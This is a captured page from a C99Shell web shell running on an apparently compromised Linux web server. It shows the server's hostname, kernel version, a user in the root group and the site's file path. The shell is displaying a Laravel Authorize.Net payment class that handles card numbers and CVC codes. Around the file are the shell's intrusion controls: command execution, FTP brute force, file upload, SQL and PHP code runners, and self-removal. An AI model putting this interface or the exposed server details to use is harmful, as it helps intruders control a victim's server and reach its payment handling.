!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/sms.picotech.app/public_html/Modules/PaymentGateway/NumberPurchaseGateway/   drwxr-xr-x
Free 28.65 GB of 117.98 GB (24.28%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     AuthorizeNetPayment.php (4.53 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace Modules\PaymentGateway\NumberPurchaseGateway;

use 
Illuminate\Support\Carbon;
use 
Illuminate\Support\Facades\Log;
use 
net\authorize\api\contract\v1 as AnetAPI;
use 
net\authorize\api\controller as AnetController;

class 
AuthorizeNetPayment implements PaymentInterface
{
    public 
$paymentId;
    public 
$request;
    public 
$number;
    public 
$numberReq;
    public 
$redirect_url;
    public 
$error_message;
    public 
$return_view;
    public 
$will_redirect false;

    public function 
__construct()
    {

    }

    public function 
pay()
    {
        
// TODO: Implement pay() method.
    
}

    public function 
number_request($numberReq)
    {
        
$this->numberReq $numberReq;
        return 
$this;
    }

    public function 
request($request)
    {
        
$this->paymentId $request->paymentId;
        
$this->request $request;
        return 
$this;
    }

    public function 
number($number)
    {
        
$this->number $number;
        return 
$this;
    }

    public function 
getCredentials()
    {
        
$credentials json_decode(get_settings('payment_gateway'));
        if (!isset(
$credentials) || (!$credentials->authorize_net_login_id || !$credentials->authorize_net_secret_key || !$credentials->authorize_net_transaction_key)) {
            throw new 
\Exception('Credentials not found. Please contact with the administrator');
        }




        return 
$credentials;
    }

    public function 
will_redirect()
    {
        
// TODO: Implement will_redirect() method.
        
return $this->will_redirect;
    }

    public function 
redirect_url()
    {
        
// TODO: Implement redirect_url() method.
        
return $this->redirect_url;
    }

    public function 
return_view()
    {
        
// TODO: Implement redirect_url() method.
        
return $this->return_view;
    }

    public function 
error_message()
    {
        
// TODO: Implement error_message() method.
        
return $this->error_message;
    }

    public function 
process()
    {
        
$credentials=$this->getCredentials();

        
$merchantAuthentication = new AnetAPI\MerchantAuthenticationType();
        
$merchantAuthentication->setName($credentials->authorize_net_login_id);
        
$merchantAuthentication->setTransactionKey($credentials->authorize_net_transaction_key);

        
// Create order information
        
$order = new AnetAPI\OrderType();
        
$order->setInvoiceNumber("number_".$this->numberReq->id);
        
$order->setDescription("number Purchase");

        
// Set the transaction's refId
        
$refId 'ref' time();

        
// Create the payment data for a credit card
        
$creditCard = new AnetAPI\CreditCardType();
        
$creditCard->setCardNumber($this->request->authorize_net_card_number);
        
$creditCard->setExpirationDate($this->request->authorize_net_exp_year.'-'.$this->request->authorize_net_exp_month);
        
$creditCard->setCardCode($this->request->authorize_net_cvc);

        
// Add the payment data to a paymentType object
        
$paymentOne = new AnetAPI\PaymentType();
        
$paymentOne->setCreditCard($creditCard);


        
// Create a TransactionRequestType object and add the previous objects to it
        
$transactionRequestType = new AnetAPI\TransactionRequestType();
        
$transactionRequestType->setTransactionType("authCaptureTransaction");
        
$transactionRequestType->setAmount($this->number->sell_price);
        
$transactionRequestType->setOrder($order);
        
$transactionRequestType->setPayment($paymentOne);


        
$request = new AnetAPI\CreateTransactionRequest();
        
$request->setMerchantAuthentication($merchantAuthentication);
        
$request->setTransactionRequest($transactionRequestType);


        
$controller = new AnetController\CreateTransactionController($request);
        
$response $controller->executeWithApiResponse(\net\authorize\api\constants\ANetEnvironment::SANDBOX);

        if (
$response != null) {
            
// Check to see if the API request was successfully received and acted upon
            
if ($response->getMessages()->getResultCode() != "Ok") {
                
$tresponse $response->getTransactionResponse();
                
$this->error_message"Transaction Failed ";

                if (
$tresponse != null && $tresponse->getErrors() != null) {
                    
$this->error_message$tresponse->getErrors()[0]->getErrorText();
                } else {
                    
$this->error_message=$response->getMessages()->getMessage()[0]->getText();
                }
            }
        } else {
            
$this->error_message='No response returned';
        }
    }

}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0046 ]--